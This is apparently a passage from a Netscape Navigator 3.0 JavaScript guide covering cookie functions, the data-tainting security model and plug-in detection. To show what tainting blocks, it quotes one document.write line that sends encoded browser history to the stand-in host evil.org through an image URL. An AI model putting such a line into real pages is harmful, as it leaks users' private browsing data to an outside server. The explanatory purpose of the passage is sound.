For more information on escape and unescape, see the topics in the reference section. name is the name of the datum being stored, and value is its value. If name and value contain any semicolon, comma, or blank (space) characters, you must use the escape function to encode them and the unescape function to decode them. expDate is the expiration date, in GMT date format: Wdy, DD-Mon-YY HH:MM:SS GMT Although it's slightly different from this format, the date string returned by the Date method toGMTString can be used to set cookie expiration dates. The expiration date is an optional parameter indicating how long to maintain the cookie. If expDate is not specified, the cookie expires when the user exits the current Navigator session. Navigator maintains and retrieves a cookie only if its expiration date has not yet passed. Limitations Cookies have these limitations
Three hundred total cookies in the cookie file. 4 Kbytes per cookie, for the sum of both the cookie's name and value. Twenty cookies per server or domain (completely specified hosts and domains are treated as separate entities and have a twenty-cookie limitation for each, not combined).
Cookies can be associated with one or more directories. If your files are all in one directory, then you need not worry about this. If your files are in multiple directories, you may need to use an additional path parameter for each cookie. For more information, see Appendix D, "Netscape cookies." Using cookies with JavaScript The document.cookie property is a string that contains all the names and values of Navigator cookies. You can use this property to work with cookies in JavaScript. Here are some basic things you can do with cookies:
Set a cookie value, optionally specifying an expiration date. Get a cookie value, given the cookie name.
It is convenient to define functions to perform these tasks. Here, for example, is a function that sets cookie values and expiration: // Sets cookie values. Expiration date is optional // function setCookie(name, value, expire) { document.cookie = name + "=" + escape(value) + ((expire == null) ? "" : ("; expires=" + expire.toGMTString())) } Notice the use of escape to encode special characters (semicolons, commas, spaces) in the value string. This function assumes that cookie names do not have any special characters. The following function returns a cookie value, given the name of the cookie: function getCookie(Name) { var search = Name + "=" if (document.cookie.length > 0) { // if there are any cookies offset = document.cookie.indexOf(search) if (offset != -1) { // if cookie exists offset += search.length // set index of beginning of value
end = document.cookie.indexOf(";", offset) // set index of end of cookie value if (end == -1) end = document.cookie.length return unescape(document.cookie.substring(offset, end)) } } } Notice the use of unescape to decode special characters in the cookie value. Using cookies: an example Using the cookie functions defined in the previous section, you can create a simple page users can fill in to "register" when they visit your page. If they return to your page within a year, they will see a personal greeting. You need to define one additional function in the HEAD of the document. This function, register, creates a cookie with the name TheCoolJavaScriptPage and the value passed to it as an argument. function register(name) { var today = new Date() var expires = new Date() expires.setTime(today.getTime() + 60*60*24*365) setCookie("TheCoolJavaScriptPage", name, expires) } The BODY of the document uses getCookie (defined in the previous section) to check whether the cookie for TheCoolJavaScriptPage exists and displays a greeting if it does. Then there is a form that calls register to add a cookie. The onClick event handler also calls history.go(0) to redraw the page. <BODY> <H1>Register Your Name with the Cookie-Meister</H1> <P> <SCRIPT> var yourname = getCookie("TheCoolJavaScriptPage") if (yourname != null) document.write("<P>Welcome Back, ", yourname) else document.write("<P>You haven't been here in the last year...") </SCRIPT> <P> Enter your name. When you return to this page within a year, you will be greeted with a personalized greeting. <BR> <FORM onSubmit="return false"> Enter your name: <INPUT TYPE="text" NAME="username" SIZE= 10><BR> <INPUT TYPE="button" value="Register" onClick="register(this.form.username.value); history.go(0)"> </FORM> 8.9 Using data tainting for security Navigator version 2.02 and later automatically prevents scripts on one server from accessing properties of documents on a different server. This restriction prevents scripts from fetching private information such as directory structures or user session history. JavaScript for Navigator 3.0 has a feature called data tainting that retains the security restriction but provides a means of secure access to specific components on a page.
When data tainting is enabled, JavaScript in one window can see properties of another window, no matter what server the other window's document was loaded from. However, the author of the other window taints (marks) property values or other data that should be secure or private, and JavaScript cannot pass these tainted values on to any server without the user's permission. When data tainting is disabled, a script cannot access any properties of a window on another server.
To enable tainting, the end user sets an environment variable, as described in "Enabling tainting". How tainting works A page's author is in charge of tainting elements. The following properties are tainted by default: Object Tainted properties document Form any form input element history Select option location and Link window cookie, domain, forms, lastModified, links, referrer, title, URL action checked, defaultChecked, defaultValue, name, selectedIndex, toString, value current, next, previous, toString defaultSelected, selected, text, value hash, host, hostname, href, pathname, port, protocol, search, toString defaultStatus, status
You can use tainted data elements any way you want in your script, but if your script attempts to pass a tainted element's value or any data derived from it over the network in any way (for example, via a form submission or URL), a dialog box is displayed so the user can confirm or cancel the operation. Values derived from tainted data elements are also tainted. If a tainted value is passed to a function, the return value of the function is tainted. If a string is tainted, any substring of the string is also tainted. If a script examines a tainted value in an if, for, or while statement, the script itself accumulates taint. You can taint and untaint properties, variables, functions, and objects, as described in "Tainting and untainting individual data elements". You cannot untaint another server's properties or data elements. Enabling tainting To enable data tainting, the end user sets the NS_ENABLE_TAINT environment variable as follows:
On Unix, use the setenv command in csh. On Windows, use set in autoexec.bat or NT user settings. On Macintosh, edit the resource with type "Envi" and number 128 in the Netscape application by removing the two ascii slashes "//" before the NS_ENABLE_TAINT text at the end of the resource.
NS_ENABLE_TAINT can have any value; "1" will do. If the end user does not enable tainting and a script attempts to access properties of a window on another server, a message is displayed indicating that access is not allowed.
To determine whether tainting is enabled, use the taintEnabled method. The following code executes function1 if data tainting is enabled; otherwise it executes function2. if (navigator.taintEnabled()) { function1() } else function2() For details on taintEnabled, see "taintEnabled". Tainting and untainting individual data elements You can taint data elements (properties, variables, functions, objects) in your scripts to prevent the returned values from being used inappropriately by other scripts or propagating beyond another script. You might want to remove tainting from a data element so other scripts can read and do anything with it. You cannot untaint another server's data elements. You control the tainting of data elements with two functions: taint adds tainting to a data element, and untaint removes tainting from a data element. These functions each take a single data element as an argument. For example, the following statement removes taint from a property so that a script can send it to another server: untaintedStat=untaint(window.defaultStatus) // untaintedStat can now be sent in a URL or form post by other scripts Neither taint nor untaint modifies its argument; rather, both functions return a marked or unmarked reference to the argument object, or copy of the primitive type value (number or boolean value). The mark is called a taint code. JavaScript assigns a unique taint code to each server's data elements. Untainted data has the identity (null) taint code. For details on taint and untaint, see "taint" and "untaint". Tainting that results from conditional statements In some cases, control flow rather than data flow carries tainted information. To handle these cases, each window has a taint accumulator. The taint accumulator holds taint tested in the condition portion of if, for, and while statements. The accumulator mixes different taint codes to create new codes that identify the combination of data origins (for example, serverA, serverB, or serverC). The taint accumulator is reset to identity only if it contains the current document's original taint code. Otherwise, taint accumulates until the document is unloaded. All windows loading documents from the same origin share a taint accumulator. You can add taint to or remove taint from a window's taint accumulator.
To add taint to a window, call taint with no argument. JavaScript adds the current document's taint code to the accumulator. To remove taint from a window, call untaint with no argument. Calling untaint with no arguments removes taint from the accumulator only if the accumulator holds taint from the current window only; if it holds taint from operations done on data elements from other servers, untaint will have no effect. Removing taint from the accumulator results in the accumulator having only the identity taint code.
If a window's taint accumulator holds taint and the script attempts to pass data over the network, the taint codes in the accumulator are checked. Only if the accumulated script taint, the taint code of the targeted server, and the taint code of the data being sent are compatible will the operation proceed. Compatible means that either two taint codes are equal, or at least one is identity (null). If the script, server, and data taints are incompatible, a dialog box is displayed so the user can confirm or cancel the URL load or form post.
Accumulated taint propagates across setTimeout and into the evaluation of the first argument to setTimeout. It propagates through document.write into generated tags, so that a malicious script cannot signal private information such as session history by generating an HTML tag with an implicitly-loaded URL SRC parameter such as the following: document.write("<img src=http://evil.org/cgi.bin/fake-img?" + encode(history) + ">") 8.10 Determining installed plug-ins You can use JavaScript to determine whether a user has installed a particular plug-in; you can then display embedded plug-in data if the plug-in is installed, or display some alternative information (for example, an image or text) if it is not. You can also determine whether a client is capable of handling a particular MIME (Multipart Internet Mail Extension) type. This section introduces the objects and properties needed for handling plug-ins and MIME types. For more detailed information on these objects and properties, see the corresponding reference topics in Part 3, "Reference." The navigator object has two properties for checking installed plug-ins: the mimeTypes array and the plugins array. mimeTypes array mimeTypes is an array of all MIME types supported by the client (either internally, via helper applications, or by plug-ins). Each element of the array is a MimeType object, which has properties for its type, description, file extensions, and enabled plug-ins. For example, the following table summarizes the values for displaying JPEG images: Expression Value navigator.mimeTypes["image/jpeg"].typ image/jpeg e navigator.mimeTypes["image/jpeg"].des JPEG Image cription navigator.mimeTypes["image/jpeg"].suff jpeg, jpg, jpe, jfif, ixes pjpeg, pjp navigator.mimeTypes["image/jpeg"].ena null bledPlugin The following script checks to see whether the client is capable of displaying QuickTime movies. var myMimetype = navigator.mimeTypes["video/quicktime"] if (myMimetype) document.writeln("Click <A HREF='movie.qt'>here</A> to see a " + myMimetype.description) else document.writeln("Too bad, can't show you any movies.") plugins array plugins is an array of all plug-ins currently installed on the client. Each element of the array is a Plugin object, which has properties for its name, file name, and description as well as an array of MimeType objects for the MIME types supported by that plugin. The user can obtain a list of installed plug-ins by choosing About Plug-ins from the Help menu. For example, the following table summarizes the values for the LiveAudio plug-in: Expression Value navigator.plugins['LiveAudio'].na LiveAudio
me navigator.plugins['LiveAudio'].des LiveAudio - Netscape Navigator sound playing cription component navigator.plugins['LiveAudio'].file d:\nettools\netscape\nav30\ name Program\plugins\NPAUDIO.DLL navigator.plugins['LiveAudio'].len 7 gth In the previous table, the length property indicates that navigator.plugins['LiveAudio'] has an array of MimeType objects containing seven elements. The property values for the second element of this array are as follows: Expression Value navigator.plugins['LiveAudio'][1].type navigator.plugins['LiveAudio'] [1].description navigator.plugins['LiveAudio'][1].suffixes navigator.plugins['LiveAudio'] [1].enabledPlugin.name audio/xaiff AIFF aif, aiff LiveAudio
The following script checks to see whether the Shockwave plug-in is installed and displays an embedded Shockwave movie if it is: var myPlugin = navigator.plugins["Shockwave"] if (myPlugin) document.writeln("<EMBED SRC='Movie.dir' HEIGHT=100 WIDTH=100>") else document.writeln("You don't have Shockwave installed!")